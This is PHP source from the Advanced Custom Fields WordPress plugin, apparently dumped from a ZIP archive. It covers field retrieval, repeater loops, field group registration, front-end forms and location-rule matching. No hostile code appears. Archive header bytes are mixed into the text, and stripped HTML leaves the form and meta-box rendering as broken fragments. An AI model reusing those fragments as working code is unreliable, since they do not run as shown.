$wpdb->options WHERE option_name LIKE %s", '_' . $post_id . '_%' )); } if( is_array($keys) ) { foreach( $keys as $key ) { $field = get_field_object( $key, $post_id, $options ); if( !is_array($field) ) { continue; } $value[ $field['name'] ] = $field; } } // no value if( empty($value) ) { return false; } // return return $value; } /* * get_fields() * * This function will return an array containing all the custom field values for a specific post_id. * The function is not very elegant and wastes a lot of PHP memory / SQL queries if you are not using all the values. * * @type function * @since 3.6 * @date 29/01/13 * * @param mixed $post_id: the post_id of which the value is saved against * * @return array $return: an array containin the field values */ function get_fields( $post_id = false, $format_value = true ) { // vars $options = array( 'load_value' => true, 'format_value' => $format_value ); $fields = get_field_objects( $post_id, $options ); if( is_array($fields) ) { foreach( $fields as $k => $field ) { $fields[ $k ] = $field['value']; } } return $fields; } /* * get_field() * * This function will return a custom field value for a specific field name/key + post_id. * There is a 3rd parameter to turn on/off formating. This means that an Image field will not use * its 'return option' to format the value but return only what was saved in the database * * @type function * @since 3.6 * @date 29/01/13 * * @param string $field_key: string containing the name of teh field name / key ('sub_field' / 'field_1') * @param mixed $post_id: the post_id of which the value is saved against * @param boolean $format_value: whether or not to format the value as described above * * @return mixed $value: the value found */ function get_field( $field_key, $post_id = false, $format_value = true ) { // vars $return = false; $options = array( 'load_value' => true, 'format_value' => $format_value ); $field = get_field_object( $field_key, $post_id, $options); if( is_array($field) ) { $return = $field['value']; } return $return; } /* * get_field_object() * * This function will return an array containing all the field data for a given field_name * * @type function * @since 3.6 * @date 3/02/13 * * @param string $field_key: string containing the name of teh field name / key ('sub_field' / 'field_1') * @param mixed $post_id: the post_id of which the value is saved against * @param array $options: an array containing options * boolean + load_value: load the field value or not. Defaults to true * boolean + format_value: format the field value or not. Defaults to true * * @return array $return: an array containin the field groups */ function get_field_object( $field_key, $post_id = false, $options = array() ) { // make sure add-ons are included acf()->include_3rd_party(); // filter post_id $post_id = apply_filters('acf/get_post_id', $post_id ); $field = false; $orig_field_key = $field_key; // defaults for options $defaults = array( 'load_value' => true, 'format_value' => true, ); $options = array_merge($defaults, $options); // is $field_name a name? pre 3.4.0 if( substr($field_key, 0, 6) !== 'field_' ) { // get field key $field_key = get_field_reference( $field_key, $post_id ); } // get field if( substr($field_key, 0, 6) === 'field_' ) { $field = apply_filters('acf/load_field', false, $field_key ); } // validate field if( !$field ) { // treat as text field $field = array( 'type' => 'text', 'name' => $orig_field_key, 'key' => 'field_' . $orig_field_key, ); $field = apply_filters('acf/load_field', $field, $field['key'] ); } // load value if( $options['load_value'] ) { $field['value'] = apply_filters('acf/load_value', false, $post_id, $field); // format value if( $options['format_value'] ) { $field['value'] = apply_filters('acf/format_value_for_api', $field['value'], $post_id, $field); } } return $field; } /* * the_field() * * This function is the same as echo get_field(). * * @type function * @since 1.0.3 * @date 29/01/13 * * @param string $field_name: the name of the field - 'sub_heading' * @param mixed $post_id: the post_id of which the value is saved against * * @return string $value */ function the_field( $field_name, $post_id = false ) { $value = get_field($field_name, $post_id); if( is_array($value) ) { $value = @implode(', ',$value); } echo $value; } /* * have_rows * * This function will instantiate a global variable containing the rows of a repeater or flexible content field, * afterwhich, it will determine if another row exists to loop through * * @type function * @date 2/09/13 * @since 4.3.0 * * @param $field_name (string) the name of the field - 'images' * @return $post_id (mixed) the post_id of which the value is saved against */ function have_rows( $field_name, $post_id = false ) { // vars $depth = 0; $row = array(); $new_parent_loop = false; $new_child_loop = false; // reference $_post_id = $post_id; // filter post_id $post_id = apply_filters('acf/get_post_id', $post_id ); // empty? if( empty($GLOBALS['acf_field']) ) { // reset reset_rows( true ); // create a new loop $new_parent_loop = true; } else { // vars $row = end( $GLOBALS['acf_field'] ); $prev = prev( $GLOBALS['acf_field'] ); // If post_id has changed, this is most likely an archive loop if( $post_id != $row['post_id'] ) { if( $prev && $prev['post_id'] == $post_id ) { // case: Change in $post_id was due to a nested loop ending // action: move up one level through the loops reset_rows(); } elseif( empty($_post_id) && isset($row['value'][ $row['i'] ][ $field_name ]) ) { // case: Change in $post_id was due to this being a nested loop and not specifying the $post_id // action: move down one level into a new loop $new_child_loop = true; } else { // case: Chang in $post_id is the most obvious, used in an WP_Query loop with multiple $post objects // action: leave this current loop alone and create a new parent loop $new_parent_loop = true; } } elseif( $field_name != $row['name'] ) { if( $prev && $prev['name'] == $field_name && $prev['post_id'] == $post_id ) { // case: Change in $field_name was due to a nested loop ending // action: move up one level through the loops reset_rows(); } elseif( isset($row['value'][ $row['i'] ][ $field_name ]) ) { // case: Change in $field_name was due to this being a nested loop // action: move down one level into a new loop $new_child_loop = true; } else { // case: Chang in $field_name is the most obvious, this is a new loop for a different field within the $post // action: leave this current loop alone and create a new parent loop $new_parent_loop = true; } } } if( $new_parent_loop ) { // vars $f = get_field_object( $field_name, $post_id ); $v = $f['value']; unset( $f['value'] ); // add row $GLOBALS['acf_field'][] = array( 'name' => $field_name, 'value' => $v, 'field' => $f, 'i' => -1, 'post_id' => $post_id, ); } elseif( $new_child_loop ) { // vars $f = acf_get_child_field_from_parent_field( $field_name, $row['field'] ); $v = $row['value'][ $row['i'] ][ $field_name ]; $GLOBALS['acf_field'][] = array( 'name' => $field_name, 'value' => $v, 'field' => $f, 'i' => -1, 'post_id' => $post_id, ); } // update vars $row = end( $GLOBALS['acf_field'] ); if( is_array($row['value']) && array_key_exists( $row['i']+1, $row['value'] ) ) { // next row exists return true; } // no next row! reset_rows(); // return return false; } /* * the_row * * This function will progress the global repeater or flexible content value 1 row * * @type function * @date 2/09/13 * @since 4.3.0 * * @param N/A * @return N/A */ function the_row() { // vars $depth = count( $GLOBALS['acf_field'] ) - 1; // increase row $GLOBALS['acf_field'][ $depth ]['i']++; // get row $value = $GLOBALS['acf_field'][ $depth ]['value']; $i = $GLOBALS['acf_field'][ $depth ]['i']; // return return $value[ $i ]; } /* * reset_rows * * This function will find the current loop and unset it from the global array. * To bo used when loop finishes or a break is used * * @type function * @date 26/10/13 * @since 5.0.0 * * @param $post_id (int) * @return $post_id (int) */ function reset_rows( $hard_reset = false ) { // completely destroy? if( $hard_reset ) { $GLOBALS['acf_field'] = array(); } else { // vars $depth = count( $GLOBALS['acf_field'] ) - 1; // remove unset( $GLOBALS['acf_field'][$depth] ); // refresh index $GLOBALS['acf_field'] = array_values($GLOBALS['acf_field']); } // return return true; } /* * has_sub_field() * * This function is used inside a while loop to return either true or false (loop again or stop). * When using a repeater or flexible content field, it will loop through the rows until * there are none left or a break is detected * * @type function * @since 1.0.3 * @date 29/01/13 * * @param string $field_name: the name of the field - 'sub_heading' * @param mixed $post_id: the post_id of which the value is saved against * * @return bool */ function has_sub_field( $field_name, $post_id = false ) { // vars $r = have_rows( $field_name, $post_id ); // if has rows, progress through 1 row for the while loop to work if( $r ) { the_row(); } // return return $r; } /* * has_sub_fields() * * This function is a replica of 'has_sub_field' * * @type function * @since 4.0.0 * @date 29/01/13 * * @param string $field_name: the name of the field - 'sub_heading' * @param mixed $post_id: the post_id of which the value is saved against * * @return bool */ function has_sub_fields( $field_name, $post_id = false ) { return has_sub_field( $field_name, $post_id ); } /* * get_sub_field() * * This function is used inside a 'has_sub_field' while loop to return a sub field value * * @type function * @since 1.0.3 * @date 29/01/13 * * @param string $field_name: the name of the field - 'sub_heading' * * @return mixed $value */ function get_sub_field( $field_name ) { // no field? if( empty($GLOBALS['acf_field']) ) { return false; } // vars $row = end( $GLOBALS['acf_field'] ); // return value if( isset($row['value'][ $row['i'] ][ $field_name ]) ) { return $row['value'][ $row['i'] ][ $field_name ]; } // return false return false; } /* * get_sub_field() * * This function is the same as echo get_sub_field * * @type function * @since 1.0.3 * @date 29/01/13 * * @param string $field_name: the name of the field - 'sub_heading' * * @return string $value */ function the_sub_field($field_name) { $value = get_sub_field($field_name); if(is_array($value)) { $value = implode(', ',$value); } echo $value; } /* * get_sub_field_object() * * This function is used inside a 'has_sub_field' while loop to return a sub field object * * @type function * @since 3.5.8.1 * @date 29/01/13 * * @param string $field_name: the name of the field - 'sub_heading' * * @return array $sub_field */ function get_sub_field_object( $child_name ) { // no field? if( empty($GLOBALS['acf_field']) ) { return false; } // vars $depth = count( $GLOBALS['acf_field'] ) - 1; $parent = $GLOBALS['acf_field'][$depth]['field']; // return return acf_get_child_field_from_parent_field( $child_name, $parent ); } /* * acf_get_sub_field_from_parent_field() * * This function is used by the get_sub_field_object to find a sub field within a parent field * * @type function * @since 3.5.8.1 * @date 29/01/13 * * @param string $child_name: the name of the field - 'sub_heading' * @param array $parent: the parent field object * * @return array $sub_field */ function acf_get_child_field_from_parent_field( $child_name, $parent ) { // vars $return = false; // find child if( isset($parent['sub_fields']) && is_array($parent['sub_fields']) ) { foreach( $parent['sub_fields'] as $child ) { if( $child['name'] == $child_name || $child['key'] == $child_name ) { $return = $child; break; } // perhaps child has grand children? $grand_child = acf_get_child_field_from_parent_field( $child_name, $child ); if( $grand_child ) { $return = $grand_child; break; } } } elseif( isset($parent['layouts']) && is_array($parent['layouts']) ) { foreach( $parent['layouts'] as $layout ) { $child = acf_get_child_field_from_parent_field( $child_name, $layout ); if( $child ) { $return = $child; break; } } } // return return $return; } /* * register_field_group() * * This function is used to register a field group via code. It acceps 1 array containing * all the field group data. This data can be obtained by using teh export tool within ACF * * @type function * @since 3.0.6 * @date 29/01/13 * * @param array $array: an array holding all the field group data * * @return */ $GLOBALS['acf_register_field_group'] = array(); function register_field_group( $array ) { // add id if( !isset($array['id']) ) { $array['id'] = uniqid(); } // 3.2.5 - changed show_on_page option if( !isset($array['options']['hide_on_screen']) && isset($array['options']['show_on_page']) ) { $show_all = array('the_content', 'discussion', 'custom_fields', 'comments', 'slug', 'author'); $array['options']['hide_on_screen'] = array_diff($show_all, $array['options']['show_on_page']); unset( $array['options']['show_on_page'] ); } // 4.0.4 - changed location rules architecture if( isset($array['location']['rules']) ) { // vars $groups = array(); $group_no = 0; if( is_array($array['location']['rules']) ) { foreach( $array['location']['rules'] as $rule ) { $rule['group_no'] = $group_no; // sperate groups? if( $array['location']['allorany'] == 'any' ) { $group_no++; } // add to group $groups[ $rule['group_no'] ][ $rule['order_no'] ] = $rule; // sort rules ksort( $groups[ $rule['group_no'] ] ); } // sort groups ksort( $groups ); } $array['location'] = $groups; } $GLOBALS['acf_register_field_group'][] = $array; } add_filter('acf/get_field_groups', 'api_acf_get_field_groups', 2, 1); function api_acf_get_field_groups( $return ) { // validate if( empty($GLOBALS['acf_register_field_group']) ) { return $return; } foreach( $GLOBALS['acf_register_field_group'] as $acf ) { $return[] = array( 'id' => $acf['id'], 'title' => $acf['title'], 'menu_order' => $acf['menu_order'], ); } // order field groups based on menu_order, title // Obtain a list of columns foreach( $return as $key => $row ) { $menu_order[ $key ] = $row['menu_order']; $title[ $key ] = $row['title']; } // Sort the array with menu_order ascending // Add $array as the last parameter, to sort by the common key if(isset($menu_order)) { array_multisort($menu_order, SORT_ASC, $title, SORT_ASC, $return); } return $return; } add_filter('acf/field_group/get_fields', 'api_acf_field_group_get_fields', 1, 2); function api_acf_field_group_get_fields( $fields, $post_id ) { // validate if( !empty($GLOBALS['acf_register_field_group']) ) { foreach( $GLOBALS['acf_register_field_group'] as $acf ) { if( $acf['id'] == $post_id ) { foreach( $acf['fields'] as $f ) { $fields[] = apply_filters('acf/load_field', $f, $f['key']); } break; } } } return $fields; } add_filter('acf/load_field', 'api_acf_load_field', 1, 2); function api_acf_load_field( $field, $field_key ) { // validate if( !empty($GLOBALS['acf_register_field_group']) ) { foreach( $GLOBALS['acf_register_field_group'] as $acf ) { if( !empty($acf['fields']) ) { foreach( $acf['fields'] as $f ) { if( $f['key'] == $field_key ) { $field = $f; break; } } } } } return $field; } add_filter('acf/field_group/get_location', 'api_acf_field_group_get_location', 1, 2); function api_acf_field_group_get_location( $location, $post_id ) { // validate if( !empty($GLOBALS['acf_register_field_group']) ) { foreach( $GLOBALS['acf_register_field_group'] as $acf ) { if( $acf['id'] == $post_id ) { $location = $acf['location']; break; } } } return $location; } add_filter('acf/field_group/get_options', 'api_acf_field_group_get_options', 1, 2); function api_acf_field_group_get_options( $options, $post_id ) { // validate if( !empty($GLOBALS['acf_register_field_group']) ) { foreach( $GLOBALS['acf_register_field_group'] as $acf ) { if( $acf['id'] == $post_id ) { $options = $acf['options']; break; } } } return $options; } /* * get_row_layout() * * This function will return a string representation of the current row layout within a 'has_sub_field' loop * * @type function * @since 3.0.6 * @date 29/01/13 * * @return $value - string containing the layout */ function get_row_layout() { // vars $value = get_sub_field('acf_fc_layout'); return $value; } /* * acf_shortcode() * * This function is used to add basic shortcode support for the ACF plugin * * @type function * @since 1.1.1 * @date 29/01/13 * * @param array $atts: an array holding the shortcode options * string + field: the field name * mixed + post_id: the post_id to load from * * @return string $value: the value found by get_field */ function acf_shortcode( $atts ) { // extract attributs extract( shortcode_atts( array( 'field' => "", 'post_id' => false, ), $atts ) ); // $field is requird if( !$field || $field == "" ) { return ""; } // get value and return it $value = get_field( $field, $post_id ); if( is_array($value) ) { $value = @implode( ', ',$value ); } return $value; } add_shortcode( 'acf', 'acf_shortcode' ); /* * acf_form_head() * * This function is placed at the very top of a template (before any HTML is rendered) and saves the $_POST data sent by acf_form. * * @type function * @since 1.1.4 * @date 29/01/13 * * @param N/A * * @return N/A */ function acf_form_head() { // global vars global $post_id; // verify nonce if( isset($_POST['acf_nonce']) && wp_verify_nonce($_POST['acf_nonce'], 'input') ) { // $post_id to save against $post_id = $_POST['post_id']; // allow for custom save $post_id = apply_filters('acf/pre_save_post', $post_id); // save the data do_action('acf/save_post', $post_id); // redirect if(isset($_POST['return'])) { wp_redirect($_POST['return']); exit; } } // need wp styling wp_enqueue_style(array( 'colors-fresh' )); // actions do_action('acf/input/admin_enqueue_scripts'); add_action('wp_head', 'acf_form_wp_head'); } function acf_form_wp_head() { do_action('acf/input/admin_head'); } /* * acf_form() * * This function is used to create an ACF form. * * @type function * @since 1.1.4 * @date 29/01/13 * * @param array $options: an array containing many options to customize the form * string + post_id: post id to get field groups from and save data to. Default is false * array + field_groups: an array containing field group ID's. If this option is set, * the post_id will not be used to dynamically find the field groups * boolean + form: display the form tag or not. Defaults to true * array + form_attributes: an array containg attributes which will be added into the form tag * string + return: the return URL * string + html_before_fields: html inside form before fields * string + html_after_fields: html inside form after fields * string + submit_value: value of submit button * string + updated_message: default updated message. Can be false * * @return N/A */ function acf_form( $options = array() ) { global $post; // defaults $defaults = array( 'post_id' => false, 'field_groups' => array(), 'form' => true, 'form_attributes' => array( 'id' => 'post', 'class' => '', 'action' => '', 'method' => 'post', ), 'return' => add_query_arg( 'updated', 'true', get_permalink() ), 'html_before_fields' => '', 'html_after_fields' => '', 'submit_value' => __("Update", 'acf'), 'updated_message' => __("Post updated", 'acf'), ); // merge defaults with options $options = array_merge($defaults, $options); // merge sub arrays foreach( $options as $k => $v ) { if( is_array($v) ) { $options[ $k ] = array_merge($defaults[ $k ], $options[ $k ]); } } // filter post_id $options['post_id'] = apply_filters('acf/get_post_id', $options['post_id'] ); // attributes $options['form_attributes']['class'] .= 'acf-form'; // register post box if( empty($options['field_groups']) ) { // get field groups $filter = array( 'post_id' => $options['post_id'] ); if( strpos($options['post_id'], 'user_') !== false ) { $user_id = str_replace('user_', '', $options['post_id']); $filter = array( 'ef_user' => $user_id ); } elseif( strpos($options['post_id'], 'taxonomy_') !== false ) { $taxonomy_id = str_replace('taxonomy_', '', $options['post_id']); $filter = array( 'ef_taxonomy' => $taxonomy_id ); } $options['field_groups'] = array(); $options['field_groups'] = apply_filters( 'acf/location/match_field_groups', $options['field_groups'], $filter ); } // updated message if(isset($_GET['updated']) && $_GET['updated'] == 'true' && $options['updated_message']) { echo '

    ' . $options['updated_message'] . '

    '; } // display form if( $options['form'] ): ?>
    $v){echo $k . '="' . $v .'" '; }} ?>>
    '; echo '

    ' . $acf['title'] . '

    '; echo '
    '; do_action('acf/create_fields', $fields, $options['post_id']); echo '
    '; }} // html after fields echo $options['html_after_fields']; ?>
    false, 'format_value' => false ); $field = get_field_object( $field_key, $post_id, $options); // sub fields? They need formatted data if( $field['type'] == 'repeater' ) { $value = acf_convert_field_names_to_keys( $value, $field ); } elseif( $field['type'] == 'flexible_content' ) { if( $field['layouts'] ) { foreach( $field['layouts'] as $layout ) { $value = acf_convert_field_names_to_keys( $value, $layout ); } } } // save do_action('acf/update_value', $value, $post_id, $field ); return true; } /* * delete_field() * * This function will remove a value from the database * * @type function * @since 3.1.9 * @date 29/01/13 * * @param mixed $field_name: the name of the field - 'sub_heading' * @param mixed $post_id: the post_id of which the value is saved against * * @return N/A */ function delete_field( $field_name, $post_id ) { do_action('acf/delete_value', $post_id, $field_name ); } /* * create_field() * * This function will creat the HTML for a field * * @type function * @since 4.0.0 * @date 17/03/13 * * @param array $field - an array containing all the field attributes * * @return N/A */ function create_field( $field ) { do_action('acf/create_field', $field ); } /* * acf_convert_field_names_to_keys() * * Helper for the update_field function * * @type function * @since 4.0.0 * @date 17/03/13 * * @param array $value: the value returned via get_field * @param array $field: the field or layout to find sub fields from * * @return N/A */ function acf_convert_field_names_to_keys( $value, $field ) { // only if $field has sub fields if( !isset($field['sub_fields']) ) { return $value; } // define sub field keys $sub_fields = array(); if( $field['sub_fields'] ) { foreach( $field['sub_fields'] as $sub_field ) { $sub_fields[ $sub_field['name'] ] = $sub_field; } } // loop through the values and format the array to use sub field keys if( is_array($value) ) { foreach( $value as $row_i => $row) { if( $row ) { foreach( $row as $sub_field_name => $sub_field_value ) { // sub field must exist! if( !isset($sub_fields[ $sub_field_name ]) ) { continue; } // vars $sub_field = $sub_fields[ $sub_field_name ]; $sub_field_value = acf_convert_field_names_to_keys( $sub_field_value, $sub_field ); // set new value $value[$row_i][ $sub_field['key'] ] = $sub_field_value; // unset old value unset( $value[$row_i][$sub_field_name] ); } // foreach( $row as $sub_field_name => $sub_field_value ) } // if( $row ) } // foreach( $value as $row_i => $row) } // if( $value ) return $value; } /* * acf_force_type_array * * This function will force a variable to become an array * * @type function * @date 4/02/2014 * @since 5.0.0 * * @param $var (mixed) * @return (array) */ function acf_force_type_array( $var ) { // is array? if( is_array($var) ) { return $var; } // bail early if empty if( empty($var) && !is_numeric($var) ) { return array(); } // string if( is_string($var) ) { return explode(',', $var); } // place in array return array( $var ); } /* * acf_get_valid_terms * * This function will replace old terms with new split term ids * * @type function * @date 27/02/2015 * @since 5.1.5 * * @param $terms (int|array) * @param $taxonomy (string) * @return $terms */ function acf_get_valid_terms( $terms = false, $taxonomy = 'category' ) { // bail early if function does not yet exist or if( !function_exists('wp_get_split_term') || empty($terms) ) { return $terms; } // vars $is_array = is_array($terms); // force into array $terms = acf_force_type_array( $terms ); // force ints $terms = array_map('intval', $terms); // attempt to find new terms foreach( $terms as $i => $term_id ) { $new_term_id = wp_get_split_term($term_id, $taxonomy); if( $new_term_id ) { $terms[ $i ] = $new_term_id; } } // revert array if needed if( !$is_array ) { $terms = $terms[0]; } // return return $terms; } /* * Depreceated Functions * * @description: * @created: 23/07/12 */ /*-------------------------------------------------------------------------------------- * * reset_the_repeater_field * * @author Elliot Condon * @depreciated: 3.3.4 - now use has_sub_field * @since 1.0.3 * *-------------------------------------------------------------------------------------*/ function reset_the_repeater_field() { // do nothing } /*-------------------------------------------------------------------------------------- * * the_repeater_field * * @author Elliot Condon * @depreciated: 3.3.4 - now use has_sub_field * @since 1.0.3 * *-------------------------------------------------------------------------------------*/ function the_repeater_field($field_name, $post_id = false) { return has_sub_field($field_name, $post_id); } /*-------------------------------------------------------------------------------------- * * the_flexible_field * * @author Elliot Condon * @depreciated: 3.3.4 - now use has_sub_field * @since 3.?.? * *-------------------------------------------------------------------------------------*/ function the_flexible_field($field_name, $post_id = false) { return has_sub_field($field_name, $post_id); } /* * acf_filter_post_id() * * This is a deprecated function which is now run through a filter * * @type function * @since 3.6 * @date 29/01/13 * * @param mixed $post_id * * @return mixed $post_id */ function acf_filter_post_id( $post_id ) { return apply_filters('acf/get_post_id', $post_id ); } ?>PK;hZ#%-%-controllers/post.phpnuW+Avalidate_page() ) { return; } // actions do_action('acf/input/admin_enqueue_scripts'); add_action('admin_head', array($this,'admin_head')); } /* * admin_head * * This action will find and add field groups to the current edit page * * @type action (admin_head) * @date 23/06/12 * @since 3.1.8 * * @param N/A * @return N/A */ function admin_head() { // globals global $post, $pagenow, $typenow; // shopp if( $pagenow == "admin.php" && isset( $_GET['page'] ) && $_GET['page'] == "shopp-products" && isset( $_GET['id'] ) ) { $typenow = "shopp_product"; } // vars $post_id = $post ? $post->ID : 0; // get field groups $filter = array( 'post_id' => $post_id, 'post_type' => $typenow ); $metabox_ids = array(); $metabox_ids = apply_filters( 'acf/location/match_field_groups', $metabox_ids, $filter ); // get style of first field group $style = ''; if( isset($metabox_ids[0]) ) { $style = $this->get_style( $metabox_ids[0] ); } // Style echo ''; // add user js + css do_action('acf/input/admin_head'); // get field groups $acfs = apply_filters('acf/get_field_groups', array()); if( $acfs ) { foreach( $acfs as $acf ) { // load options $acf['options'] = apply_filters('acf/field_group/get_options', array(), $acf['id']); // vars $show = in_array( $acf['id'], $metabox_ids ) ? 1 : 0; // priority $priority = 'high'; if( $acf['options']['position'] == 'side' ) { $priority = 'core'; } $priority = apply_filters('acf/input/meta_box_priority', $priority, $acf); // add meta box add_meta_box( 'acf_' . $acf['id'], $acf['title'], array($this, 'meta_box_input'), $typenow, $acf['options']['position'], $priority, array( 'field_group' => $acf, 'show' => $show, 'post_id' => $post_id ) ); } // foreach($acfs as $acf) } // if($acfs) // Allow 'acf_after_title' metabox position add_action('edit_form_after_title', array($this, 'edit_form_after_title')); // remove ACF from meta postbox add_filter( 'is_protected_meta', array($this, 'is_protected_meta'), 10, 3 ); } /* * edit_form_after_title * * This action will allow ACF to render metaboxes after the title * * @type action * @date 17/08/13 * * @param N/A * @return N/A */ function edit_form_after_title() { // globals global $post, $wp_meta_boxes; // render do_meta_boxes( get_current_screen(), 'acf_after_title', $post); // clean up unset( $wp_meta_boxes['post']['acf_after_title'] ); // preview hack // the following code will add a hidden input which will trigger WP to create a revision apon save // http://support.advancedcustomfields.com/forums/topic/preview-solution/#post-4106 ?>
    '; } // nonce echo '
    '; echo ''; ?> '; } /* * get_style * * @description: called by admin_head to generate acf css style (hide other metaboxes) * @since 2.0.5 * @created: 23/06/12 */ function get_style( $acf_id ) { // vars $options = apply_filters('acf/field_group/get_options', array(), $acf_id); $html = ''; // add style to html if( in_array('permalink',$options['hide_on_screen']) ) { $html .= '#edit-slug-box {display: none;} '; } if( in_array('the_content',$options['hide_on_screen']) ) { $html .= '#postdivrich {display: none;} '; } if( in_array('excerpt',$options['hide_on_screen']) ) { $html .= '#postexcerpt, #screen-meta label[for=postexcerpt-hide] {display: none;} '; } if( in_array('custom_fields',$options['hide_on_screen']) ) { $html .= '#postcustom, #screen-meta label[for=postcustom-hide] { display: none; } '; } if( in_array('discussion',$options['hide_on_screen']) ) { $html .= '#commentstatusdiv, #screen-meta label[for=commentstatusdiv-hide] {display: none;} '; } if( in_array('comments',$options['hide_on_screen']) ) { $html .= '#commentsdiv, #screen-meta label[for=commentsdiv-hide] {display: none;} '; } if( in_array('slug',$options['hide_on_screen']) ) { $html .= '#slugdiv, #screen-meta label[for=slugdiv-hide] {display: none;} '; } if( in_array('author',$options['hide_on_screen']) ) { $html .= '#authordiv, #screen-meta label[for=authordiv-hide] {display: none;} '; } if( in_array('format',$options['hide_on_screen']) ) { $html .= '#formatdiv, #screen-meta label[for=formatdiv-hide] {display: none;} '; } if( in_array('featured_image',$options['hide_on_screen']) ) { $html .= '#postimagediv, #screen-meta label[for=postimagediv-hide] {display: none;} '; } if( in_array('revisions',$options['hide_on_screen']) ) { $html .= '#revisionsdiv, #screen-meta label[for=revisionsdiv-hide] {display: none;} '; } if( in_array('categories',$options['hide_on_screen']) ) { $html .= '#categorydiv, #screen-meta label[for=categorydiv-hide] {display: none;} '; } if( in_array('tags',$options['hide_on_screen']) ) { $html .= '#tagsdiv-post_tag, #screen-meta label[for=tagsdiv-post_tag-hide] {display: none;} '; } if( in_array('send-trackbacks',$options['hide_on_screen']) ) { $html .= '#trackbacksdiv, #screen-meta label[for=trackbacksdiv-hide] {display: none;} '; } return $html; } /* * ajax_get_input_style * * @description: called by input-actions.js to hide / show other metaboxes * @since 2.0.5 * @created: 23/06/12 */ function ajax_get_style() { // vars $options = array( 'acf_id' => 0, 'nonce' => '' ); // load post options $options = array_merge($options, $_POST); // verify nonce if( ! wp_verify_nonce($options['nonce'], 'acf_nonce') ) { die(0); } // return style echo $this->get_style( $options['acf_id'] ); // die die; } /* * ajax_render_fields * * @description: * @since 3.1.6 * @created: 23/06/12 */ function ajax_render_fields() { // defaults $options = array( 'acf_id' => 0, 'post_id' => 0, 'nonce' => '' ); // load post options $options = array_merge($options, $_POST); // verify nonce if( ! wp_verify_nonce($options['nonce'], 'acf_nonce') ) { die(0); } // get acfs $acfs = apply_filters('acf/get_field_groups', array()); if( $acfs ) { foreach( $acfs as $acf ) { if( $acf['id'] == $options['acf_id'] ) { $fields = apply_filters('acf/field_group/get_fields', array(), $acf['id']); do_action('acf/create_fields', $fields, $options['post_id']); break; } } } die(); } /* * save_post * * @description: Saves the field / location / option data for a field group * @since 1.0.0 * @created: 23/06/12 */ function save_post( $post_id ) { // do not save if this is an auto save routine if( defined('DOING_AUTOSAVE') && DOING_AUTOSAVE ) { return $post_id; } // verify nonce if( !isset($_POST['acf_nonce'], $_POST['fields']) || !wp_verify_nonce($_POST['acf_nonce'], 'input') ) { return $post_id; } // if save lock contains a value, the save_post action is already running for another post. // this would imply that the user is hooking into an ACF update_value or save_post action and inserting a new post // if this is the case, we do not want to save all the $POST data to this post. if( isset($GLOBALS['acf_save_lock']) && $GLOBALS['acf_save_lock'] ) { return $post_id; } // update the post (may even be a revision / autosave preview) do_action('acf/save_post', $post_id); } /* * is_protected_meta * * This function will remove any ACF meta from showing in the meta postbox * * @type function * @date 12/04/2014 * @since 5.0.0 * * @param $post_id (int) * @return $post_id (int) */ function is_protected_meta( $protected, $meta_key, $meta_type ) { // globals global $post; // if acf_get_field_reference returns a valid key, this is an acf value, so protect it! if( !$protected ) { $reference = get_field_reference( $meta_key, $post->ID ); if( substr($reference, 0, 6) === 'field_' ) { $protected = true; } } // return return $protected; } } new acf_controller_post(); ?>PK;hZo"I"Icontrollers/location.phpnuW+A '', 'ajax' => true ); // load post options $options = array_merge($options, $_POST); // verify nonce if( ! wp_verify_nonce($options['nonce'], 'acf_nonce') ) { die(0); } // return array $return = apply_filters( 'acf/location/match_field_groups', array(), $options ); // echo json echo json_encode( $return ); die(); } /* * match_field_groups * * @description: * @since: 3.5.7 * @created: 3/01/13 */ function match_field_groups( $return, $options ) { // vars $defaults = array( 'post_id' => 0, 'post_type' => 0, 'page_template' => 0, 'page_parent' => 0, 'page_type' => 0, 'post_category' => array(), 'post_format' => 0, 'taxonomy' => array(), 'ef_taxonomy' => 0, 'ef_user' => 0, 'ef_media' => 0, 'lang' => 0, 'ajax' => false ); // merge in $options $options = array_merge($defaults, $options); // Parse values $options = apply_filters( 'acf/parse_types', $options ); // WPML if( defined('ICL_LANGUAGE_CODE') ) { $options['lang'] = ICL_LANGUAGE_CODE; //global $sitepress; //$sitepress->switch_lang( $options['lang'] ); } // find all acf objects $acfs = apply_filters('acf/get_field_groups', array()); // blank array to hold acfs $return = array(); if( $acfs ) { foreach( $acfs as $acf ) { // load location $acf['location'] = apply_filters('acf/field_group/get_location', array(), $acf['id']); // vars $add_box = false; foreach( $acf['location'] as $group_id => $group ) { // start of as true, this way, any rule that doesn't match will cause this varaible to false $match_group = true; if( is_array($group) ) { foreach( $group as $rule_id => $rule ) { // Hack for ef_media => now post_type = attachment if( $rule['param'] == 'ef_media' ) { $rule['param'] = 'post_type'; $rule['value'] = 'attachment'; } // $match = true / false $match = apply_filters( 'acf/location/rule_match/' . $rule['param'] , false, $rule, $options ); if( !$match ) { $match_group = false; } } } // all rules must havematched! if( $match_group ) { $add_box = true; } } // add ID to array if( $add_box ) { $return[] = $acf['id']; } } } return $return; } /* * rule_match_post_type * * @description: * @since: 3.5.7 * @created: 3/01/13 */ function rule_match_post_type( $match, $rule, $options ) { $post_type = $options['post_type']; if( !$post_type ) { if( !$options['post_id'] ) { return false; } $post_type = get_post_type( $options['post_id'] ); } if( $rule['operator'] == "==" ) { $match = ( $post_type === $rule['value'] ); } elseif( $rule['operator'] == "!=" ) { $match = ( $post_type !== $rule['value'] ); } return $match; } /* * rule_match_post * * @description: * @since: 3.5.7 * @created: 3/01/13 */ function rule_match_post( $match, $rule, $options ) { // validation if( !$options['post_id'] ) { return false; } // translate $rule['value'] // - this variable will hold the original post_id, but $options['post_id'] will hold the translated version //if( function_exists('icl_object_id') ) //{ // $rule['value'] = icl_object_id( $rule['value'], $options['post_type'], true ); //} if($rule['operator'] == "==") { $match = ( $options['post_id'] == $rule['value'] ); } elseif($rule['operator'] == "!=") { $match = ( $options['post_id'] != $rule['value'] ); } return $match; } /* * rule_match_page_type * * @description: * @since: 3.5.7 * @created: 3/01/13 */ function rule_match_page_type( $match, $rule, $options ) { // validation if( !$options['post_id'] ) { return false; } $post = get_post( $options['post_id'] ); if( $rule['value'] == 'front_page') { $front_page = (int) get_option('page_on_front'); if($rule['operator'] == "==") { $match = ( $front_page == $post->ID ); } elseif($rule['operator'] == "!=") { $match = ( $front_page != $post->ID ); } } elseif( $rule['value'] == 'posts_page') { $posts_page = (int) get_option('page_for_posts'); if($rule['operator'] == "==") { $match = ( $posts_page == $post->ID ); } elseif($rule['operator'] == "!=") { $match = ( $posts_page != $post->ID ); } } elseif( $rule['value'] == 'top_level') { $post_parent = $post->post_parent; if( $options['page_parent'] ) { $post_parent = $options['page_parent']; } 